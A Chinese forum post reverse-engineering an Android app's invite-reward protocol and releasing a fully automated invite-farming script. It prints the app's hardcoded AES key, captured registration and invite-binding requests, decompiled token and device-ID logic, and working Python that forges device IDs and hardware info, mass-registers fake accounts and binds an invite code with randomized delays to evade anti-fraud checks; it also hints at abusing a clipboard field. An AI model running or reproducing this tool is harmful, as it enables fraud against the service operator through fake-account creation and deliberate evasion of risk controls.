[原创] 某岛App邀请协议逆向分析与全自动刷邀请脚本开源 [AES/设备指纹/Token逻辑]

灰烬

⚠️ 免责声明
本教程仅供技术交流与学习使用，旨在分析网络协议与安全机制。
1. 文中涉及的脚本和技术细节仅用于演示漏洞原理，严禁用于任何非法商业用途、恶意攻击或黑灰产行为。
2. 请在下载后24小时内删除相关文件。
3. 作者不对任何人因使用本教程中的技术或脚本而产生的任何法律后果负责。
4. 如果本帖侵犯了您的权益，请联系删除。
5. 文中所有具体域名和IP均已替换为占位符。

工具准备

• 算法助手（用于Hook加密参数）
• 小黄鸟/HttpCanary（抓包工具）
• MT管理器（用于反编译DEX分析Java逻辑）
• 受害软件：某某岛（H软）
  

破解思路分析
此类APP通常采用服务器强验证，核心逻辑在于：服务端只信任携带有效Token的请求。
我们的目标是利用“新用户试用”或“邀请奖励”机制。

基本流程：
1. 抓包分析注册/登录接口，获取 Token。
2. 定位加密算法（AES）与密钥。
3. 难点攻关：分析 device_id 的生成逻辑（是否强绑定硬件）。
4. 难点攻关：解决“安全性错误D!”报错，分析请求头与Token构建逻辑。
5. 编写Python脚本实现全自动闭环。

---

第一步：加密算法分析

使用算法助手Hook加密方法，捕获到以下关键信息（日志未精简，保留原始数据方便对照）：

1. 
   
2. 时间：2026-02-02 23:48:34
   
3. 
   
4. 算法类型：AES/ECB/PKCS5Padding
   
5. 
   
6. Key类型：javax.crypto.spec.SecretKeySpec
   
7. 
   
8. 加密秘钥（文本）：e2bafce13c351958
   
9. 加密秘钥（Base64）：ZTJiYWZjZTEzYzM1MTk1OA==
   
10. 加密秘钥（Hex）：65326261666365313363333531393538
    
11. 
    
12. 加密Iv（文本）：null
    
13. 加密Iv（Base64）：bnVsbA==
    
14. 加密Iv（Hex）：6e756c6c
    
15. 
    
16. 加密内容（文本）：{"deviceId":"5741ba4105005cb0","token":"null_null"}
    
17. 
    
18. 加密结果（文本）：���A�r�O���ZZ�e�k��T�p$ߟ�)        ��4H�ܜ�]���H����$B        !e�XJ�h��4K（部分，其余省略）
    
19. 
    
20. 调用堆栈：
    
21.         at de.robv.android.JungeSpoxed.JungeSpoxedBridge$AdditionalHookInfo.callback(Unknown Source:147)
    
22.         at b.a.a.a.j.a$a.c(SourceFile:12)
    
23.         at com.jbzd.media.fiveonehl.ui.splash.SplashViewMode$ping$1.invokeSuspend(SourceFile:8)
    
24.         at kotlin.coroutines.jvm.internal.BaseContinuationImpl.resumeWith(SourceFile:4)
    
25.         at c.a.m0.run(SourceFile:15)
    
26.         at c.a.d2.a.u(SourceFile:1)
    
27.         at c.a.d2.a$a.run(SourceFile:12)
    

复制代码

分析结论：

• 算法：AES/ECB/PKCS5Padding
• 密钥：e2bafce13c351958
  

---

第二步：抓包协议分析

为了构建脚本，我们需要详细分析请求和响应。以下是抓取的原始数据信息：

1. 注册/登录接口（用于获取Token）

1. 
   
2. POST /v1/st/xx HTTP/1.1
   
3. User-Agent: Mozilla/5.0 (Linux; U; Android 8.1.0; zh-CN; EML-AL00 Build/HUAWEIEML-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Lucky/11.9.4.974 UWS/2.13.1.48 Mobile Safari/537.36 AliApp(DingTalk/4.5.11)  Channel/227200 language/zh-CN
   
4. deviceType: android
   
5. version: 4.1.5
   
6. time: 2026-02-02 23:17:15
   
7. Content-Type: multipart/form-data
   
8. Content-Length: 2016
   
9. Host: [域名]
   
10. Connection: Keep-Alive
    
11. Accept-Encoding: gzip
    

复制代码

该接口解密后的 JSON 请求体：

1. 
   
2. {
   
3.   "data": {
   
4.     "ad_method": "2",
   
5.     "app_code": "main",
   
6.     "channel_code": "x468498a4",
   
7.     "clipboard_text": "",
   
8.     "device_id": "07a647de66796825",
   
9.     "device_info": "{"product": "Realme 8 Pro", "display": "RealmeRealme 8 Pro release-keys", "is_installedwechat": "n", "gsm.version.baseband": "1", "version.sdkInt": "30", "isPhysicalDevice": "true", "is_cameraflash": "y", "manufacturer": "Realme", "is_installedalipay": "y", "version.codename": "REL", "sensornumber": "9", "bootloader": "unknown", "host": "compiler", "model": "Realme 8 Pro", "is_agent": "n", "id": "RealmeRealme 8 Pro", "version.release": "11", "device": "SULLE", "board": "MQG", "hardware": "snapdragon888"}",
   
10.     "device_information": "{"product": "Realme 8 Pro", "display": "RealmeRealme 8 Pro release-keys", "is_installedwechat": "n", "gsm.version.baseband": "1", "version.sdkInt": "30", "isPhysicalDevice": "true", "is_cameraflash": "y", "manufacturer": "Realme", "is_installedalipay": "y", "version.codename": "REL", "sensornumber": "9", "bootloader": "unknown", "host": "compiler", "model": "Realme 8 Pro", "is_agent": "n", "id": "RealmeRealme 8 Pro", "version.release": "11", "device": "SULLE", "board": "MQG", "hardware": "snapdragon888"}",
    
11.     "domain": "http://[域名]/v1/"
    
12.   },
    
13.   "deviceId": "07a647de66796825",
    
14.   "token": "null_null"
    
15. }
    

复制代码

注册接口响应体（解密后）：
我们需要从中提取 Token 和 UserID。

1. 
   
2. {
   
3.     "code": 200,
   
4.     "data": {
   
5.         "token": {
   
6.       // ...其他内容
   
7.             "token": "e21228a893c46c073d84ee1445f9e9fa",
   
8.             "user_id": "52012563",
   
9.             "username": "I2ZHH",
   
10.             "expired_at": "28800",
    
11.             "ip": "[IP地址]"
    
12.         }
    
13.     },
    
14.       // ...其他内容
    
15.     "time": "2026-02-02 23:32:46"
    
16. }
    

复制代码

2. 绑定邀请码接口

1. 
   
2. POST /v1/yh/bdfj HTTP/1.1
   
3. User-Agent: ... (同上) ...
   
4. deviceType: android
   
5. version: 4.1.5
   
6. time: 2026-02-02 23:30:05
   
7. Content-Type: multipart/form-data
   
8. Content-Length: 112
   
9. Host: [域名]
   
10. Connection: Keep-Alive
    
11. Accept-Encoding: gzip
    
12. 
    

复制代码

该接口解密后的 JSON 请求体：

1. 
   
2. {
   
3.     "data": {
   
4.         "code": "I2ZHH" // 邀请码
   
5.     },
   
6.     "deviceId": "5741ba4105005cb0",
   
7.     "token": "3c0382e6fa921df9eccea2d53a26c703_52012563" // 注意这里Token的格式！
   
8. }
   

复制代码

---

第三步：Device ID 生成逻辑

在请求体中，device_id 是标识用户身份的核心。通过MT管理器搜索代码，定位到 Lb/a/a/a/e;->a()Ljava/lang/String;。

关键Java逻辑（已精简注释）：

1. 
   
2. public static final String a() {
   
3.     // 1. 尝试从 SharedPreferences (本地缓存) 读取 SP_DEVICE_ID
   
4.     String string = sharedPreferences.getString("SP_DEVICE_ID", "");
   
5.    
   
6.     // 2. 尝试获取 Android ID (部分新系统可能获取为空或受限)
   
7.     if (string == null || string.length() == 0) {
   
8.         string = Settings.System.getString(context.getContentResolver(), "android_id");
   
9.         // ...校验ID是否为000000等无效值的逻辑...
   
10.     }
    
11.    
    
12.     // 3. 【重点】如果上述获取失败，代码会回退使用 UUID 生成！
    
13.     if (TextUtils.isEmpty(string)) {
    
14.         // 生成随机UUID并去掉横杠 "-"
    
15.         String replace = UUID.randomUUID().toString().replace("-", "");
    
16.         string = replace;
    
17.     }
    
18.    
    
19.     // 4. 保存生成的ID以便下次使用
    
20.     sharedPreferences2.edit().putString("device_id", string).apply();
    
21.     return string;
    
22. }
    

复制代码

结论： 代码逻辑显示，当应用无法获取高权限设备码时，会回退使用 UUID 随机生成。这意味着我们完全可以使用 Python 脚本随机生成 16 位 Hex 字符串来伪造合法的 device_id，服务器无法分辨！

---

第四步：解决“安全性错误”与 Token 构造

在尝试编写脚本模拟请求时，发现响应体返回内容不对，出现如下报错：

1. 
   
2. {
   
3.     "status": "n",
   
4.     "error": "安全性错误D!",
   
5.     "errorCode": 2001
   
6. }
   

复制代码

排查过程：
检查请求体和 Python 代码，怀疑是 Token 格式或 Header 中的 Content-Length 问题。通过堆栈定位到构建请求体的方法 b.a.a.a.j.a$a.c。

关键 Java 代码逻辑：

1. 
   
2. public final class a$a {
   
3.     @NotNull
   
4.     public final i0 c(@Nullable Object obj) {
   
5.         BaseRequestBody baseRequestBody = new BaseRequestBody();
   
6.         baseRequestBody.setDeviceId(e.a()); // 设置设备ID
   
7.         
   
8.         // --- 核心点1：Token 拼接逻辑 ---
   
9.         StringBuilder sb = new StringBuilder();
   
10.         TokenBean g = MyApp.g();
    
11.         // 拼接服务端返回的 token
    
12.         sb.append((Object) (g == null ? null : g.token));
    
13.         sb.append('_'); // 中间加下划线
    
14.         TokenBean g2 = MyApp.g();
    
15.         // 拼接服务端返回的 user_id
    
16.         sb.append((Object) (g2 == null ? null : g2.user_id));
    
17.         baseRequestBody.setToken(sb.toString()); // 设置最终 Token
    
18.         
    
19.         baseRequestBody.setData(obj);
    
20.         
    
21.         // --- 核心点2：加密与长度计算 ---
    
22.         String jSONString = JSON.toJSONString(baseRequestBody);
    
23.         // AES 加密
    
24.         byte[] bytes = jSONString.getBytes(Charsets.UTF_8);
    
25.         SecretKeySpec secretKeySpec = new SecretKeySpec("e2bafce13c351958".getBytes(), "AES-128-ECB");
    
26.         Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
    
27.         cipher.init(1, secretKeySpec);
    
28.         bArr = cipher.doFinal(bytes); // 得到加密后的字节数组
    
29.         
    
30.         // --- 核心点3：Content-Length 是字节数组长度 ---
    
31.         int length = bArr.length;
    
32.         return new h0(bArr, b, length, 0);
    
33.     }
    
34. }
    

复制代码

分析结论：
1. Token 格式：必须是 "token" + "_" + "user_id" 的组合形式。
2. Content-Length：必须是加密后二进制字节数组的长度（不是 Base64 字符串长度）。

---

第五步：全自动刷邀请脚本

脚本主要功能：
1. 全自动闭环：自动 生成新设备 -> 注册获取Token -> 拼接Token -> 提交邀请码。
2. 智能解密：自动识别服务器返回的是密文还是明文报错，彻底解决解密失败导致脚本崩溃的问题。
3. 防风控：每次请求生成全新的随机 User-Agent 和 Device Info。
4. 随机延时：模拟真人操作间隔。

使用方法：
1. 安装 Python 3 和依赖库：

1. pip install pycryptodome requests

复制代码

2. 运行脚本，输入邀请码和需要刷的次数。

1. 
   
2. import json
   
3. import random
   
4. import string
   
5. import secrets
   
6. import time
   
7. from datetime import datetime
   
8. from Crypto.Cipher import AES
   
9. from Crypto.Util.Padding import pad, unpad
   
10. import requests
    
11. 
    
12. ## --- 核心模块 1: AES 加解密 (增强版) ---
    
13. class AESECBEncryptor:
    
14.     def __init__(self, key="e2bafce13c351958"):
    
15.         self.key = key.encode('utf-8')
    
16.         self.block_size = AES.block_size
    
17. 
    
18.     def encrypt(self, plaintext):
    
19.         cipher = AES.new(self.key, AES.MODE_ECB)
    
20.         padded_data = pad(plaintext.encode('utf-8'), self.block_size)
    
21.         return cipher.encrypt(padded_data)
    
22. 
    
23.     def decrypt(self, content):
    
24.         """智能解密：优先尝试 AES，失败则尝试明文解码"""
    
25.         # 1. 尝试直接按 UTF-8 明文解析（处理服务器返回未加密报错的情况）
    
26.         try:
    
27.             text = content.decode('utf-8')
    
28.             # 如果看起来像 JSON，直接返回
    
29.             if text.strip().startswith('{') and text.strip().endswith('}'):
    
30.                 return f"[服务器返回明文]: {text}"
    
31.         except:
    
32.             pass
    
33. 
    
34.         # 2. 尝试 AES 解密
    
35.         try:
    
36.             cipher = AES.new(self.key, AES.MODE_ECB)
    
37.             decrypted_data = cipher.decrypt(content)
    
38.             return unpad(decrypted_data, self.block_size).decode('utf-8')
    
39.         except Exception as e:
    
40.             # 如果解密失败，返回十六进制以便调试
    
41.             return f"[解密失败]: {str(e)} | 原始Hex: {content.hex()[:50]}..."
    
42. 
    
43. ## --- 核心模块 2: 设备生成器 ---
    
44. class DeviceManager:
    
45.     @staticmethod
    
46.     def generate_id():
    
47.         """生成合法的 16 位设备 ID"""
    
48.         while True:
    
49.             device_id = ''.join(secrets.choice('0123456789abcdef') for _ in range(16))
    
50.             # 过滤非法 ID (参考 Java 源码逻辑)
    
51.             if not (device_id.startswith(("000000", "ffffff")) or device_id == "9774d56d682e549c"):
    
52.                 return device_id
    
53. 
    
54.     @staticmethod
    
55.     def get_random_info():
    
56.         """生成随机设备硬件信息，模拟真实手机"""
    
57.         manufacturers = ["HUAWEI", "Xiaomi", "OnePlus", "Samsung"]
    
58.         brand = random.choice(manufacturers)
    
59.         models = {"HUAWEI": "TAS-AN00", "Xiaomi": "Mi 11", "OnePlus": "OnePlus 9 Pro", "Samsung": "Galaxy S21"}
    
60.         model = models[brand]
    
61.         
    
62.         info = {
    
63.             "product": model,
    
64.             "display": f"{brand}{model} release-keys",
    
65.             "manufacturer": brand,
    
66.             "model": model,
    
67.             "version.sdkInt": "29",
    
68.             "version.release": "10",
    
69.             "device": ''.join(random.choice(string.ascii_uppercase) for _ in range(5)),
    
70.             "hardware": "snapdragon888"
    
71.         }
    
72.         return brand, model, info
    
73. 
    
74. ## --- 核心模块 3: 业务客户端 ---
    
75. class LoliClient:
    
76.     def __init__(self):
    
77.         self.encryptor = AESECBEncryptor()
    
78.         # 请自行替换为抓包获取的实际域名
    
79.         self.url_token = "http://[域名]/v1/st/xx"
    
80.         self.url_task = "http://[域名]/v1/yh/bdfj"
    
81.         self.headers = {
    
82.             "deviceType": "android",
    
83.             "version": "4.1.5",
    
84.             "Host": "[域名]", # 请替换为实际 Host
    
85.             "Content-Type": "multipart/form-data",
    
86.             "Connection": "Keep-Alive",
    
87.             "Accept-Encoding": "gzip"
    
88.         }
    
89. 
    
90.     def request(self, url, data, ua):
    
91.         """统一发送请求"""
    
92.         json_str = json.dumps(data, ensure_ascii=False)
    
93.         encrypted_data = self.encryptor.encrypt(json_str)
    
94.         
    
95.         current_headers = self.headers.copy()
    
96.         current_headers["User-Agent"] = ua
    
97.         current_headers["time"] = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    
98.         current_headers["Content-Length"] = str(len(encrypted_data))
    
99. 
    
100.         try:
     
101.             resp = requests.post(url, data=encrypted_data, headers=current_headers, timeout=10)
     
102.             if resp.content:
     
103.                 # 使用智能解密处理响应
     
104.                 return self.encryptor.decrypt(resp.content)
     
105.             return "空响应"
     
106.         except Exception as e:
     
107.             return f"请求异常: {e}"
     
108. 
     
109.     def run_cycle(self, code, index, total):
     
110.         """执行一次完整的：新设备 -> 领Token -> 提交数据"""
     
111.         print(f"\n--- 正在执行第 {index}/{total} 次任务 ---")
     
112.         
     
113.         # 1. 生成全新设备环境 (防风控关键)
     
114.         device_id = DeviceManager.generate_id()
     
115.         brand, model, info = DeviceManager.get_random_info()
     
116.         ua = f"Mozilla/5.0 (Linux; U; Android 10; zh-CN; {model} Build/{brand.upper()}{model}) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Lucky/11.9.4.974 AliApp(DingTalk/4.5.11)"
     
117.         
     
118.         print(f"[*] 模拟设备: {brand} {model} | ID: {device_id}")
     
119. 
     
120.         # 2. 获取 Token (注册新用户)
     
121.         token_payload = {
     
122.             "data": {
     
123.                 "device_id": device_id,
     
124.                 "device_info": json.dumps(info, ensure_ascii=False),
     
125.                 "device_information": json.dumps(info, ensure_ascii=False),
     
126.                 "domain": "http://[域名]/v1/",
     
127.                 "app_code": "main",
     
128.                 "channel_code": "x468498a4"
     
129.             },
     
130.             "deviceId": device_id,
     
131.             "token": "null_null"
     
132.         }
     
133.         
     
134.         res_token = self.request(self.url_token, token_payload, ua)
     
135.         
     
136.         # 解析 Token
     
137.         full_token = None
     
138.         if "token" in res_token and "user_id" in res_token:
     
139.             try:
     
140.                 # 尝试解析响应
     
141.                 if isinstance(res_token, str) and res_token.startswith("{"):
     
142.                     res_json = json.loads(res_token)
     
143.                     if res_json.get("code") == 200:
     
144.                         t_data = res_json["data"]["token"]
     
145.                         # 核心逻辑：拼接 Token + _ + UserId
     
146.                         full_token = f"{t_data['token']}_{t_data['user_id']}"
     
147.                         print(f"[+] Token 获取成功: {t_data['user_id']}")
     
148.                     else:
     
149.                         print(f"[-] Token 获取失败: {res_token}")
     
150.                         return
     
151.             except:
     
152.                 print(f"[-] Token 解析异常: {res_token}")
     
153.                 return
     
154.         else:
     
155.             print(f"[-] 响应异常: {res_token}")
     
156.             return
     
157. 
     
158.         # 3. 提交业务数据 (使用刚获取的新用户 Token)
     
159.         task_payload = {
     
160.             "data": {"code": code},
     
161.             "deviceId": device_id,
     
162.             "token": full_token
     
163.         }
     
164.         
     
165.         # 随机延迟 0.5~1.5秒，模拟真人操作间隔
     
166.         time.sleep(random.uniform(0.5, 1.5))
     
167.         
     
168.         res_task = self.request(self.url_task, task_payload, ua)
     
169.         print(f"[>] 业务响应: {res_task}")
     
170. 
     
171. ## --- 主入口 ---
     
172. def main():
     
173.     print("=== 全自动无限刷量工具 (每次生成新用户) ===\n")
     
174.     code = input("请输入数据代码 (例如 I2ZHH): ").strip()
     
175.     try:
     
176.         count = int(input("请输入运行次数: ").strip())
     
177.     except:
     
178.         print("次数输入错误")
     
179.         return
     
180. 
     
181.     client = LoliClient()
     
182.    
     
183.     for i in range(1, count + 1):
     
184.         client.run_cycle(code, i, count)
     
185.         # 批次间歇，防止过快
     
186.         if i < count:
     
187.             time.sleep(1)
     
188. 
     
189.     print("\n[=] 所有任务执行完毕")
     
190. 
     
191. if __name__ == "__main__":
     
192.     main()
     

复制代码

---

额外提示：
在分析注册接口时，我们还发现了 clipboard_text 字段。通过分析逻辑发现，这是软件用于“剪贴板自动识别”的。如果你在请求体中将此字段设置为包含邀请码的分享链接，实际上也可以实现在注册的同时直接绑定邀请关系，这可能是另一种更高效的刷量思路，留给大家去探索！

灰烬

本贴不提供任何非法软件，如果想使用脚本请自行下载软件，抓取软件的域名进行替换，一共要替换4个位置，将所有[域名]替换成真实抓包得到的域名

北巷不夏

看看

淼鑫来

看看

学学雪

看看是啥

蜡笔不小新

看看

ZEROXZX

感谢分享

浅笑～嫣然

看看这个

合计

看看

零二v

看看

只因你太美

看看

869406955

看看学一下

永࿆࿐恒࿆࿐

快看

520347

学习

则铭

谢谢分享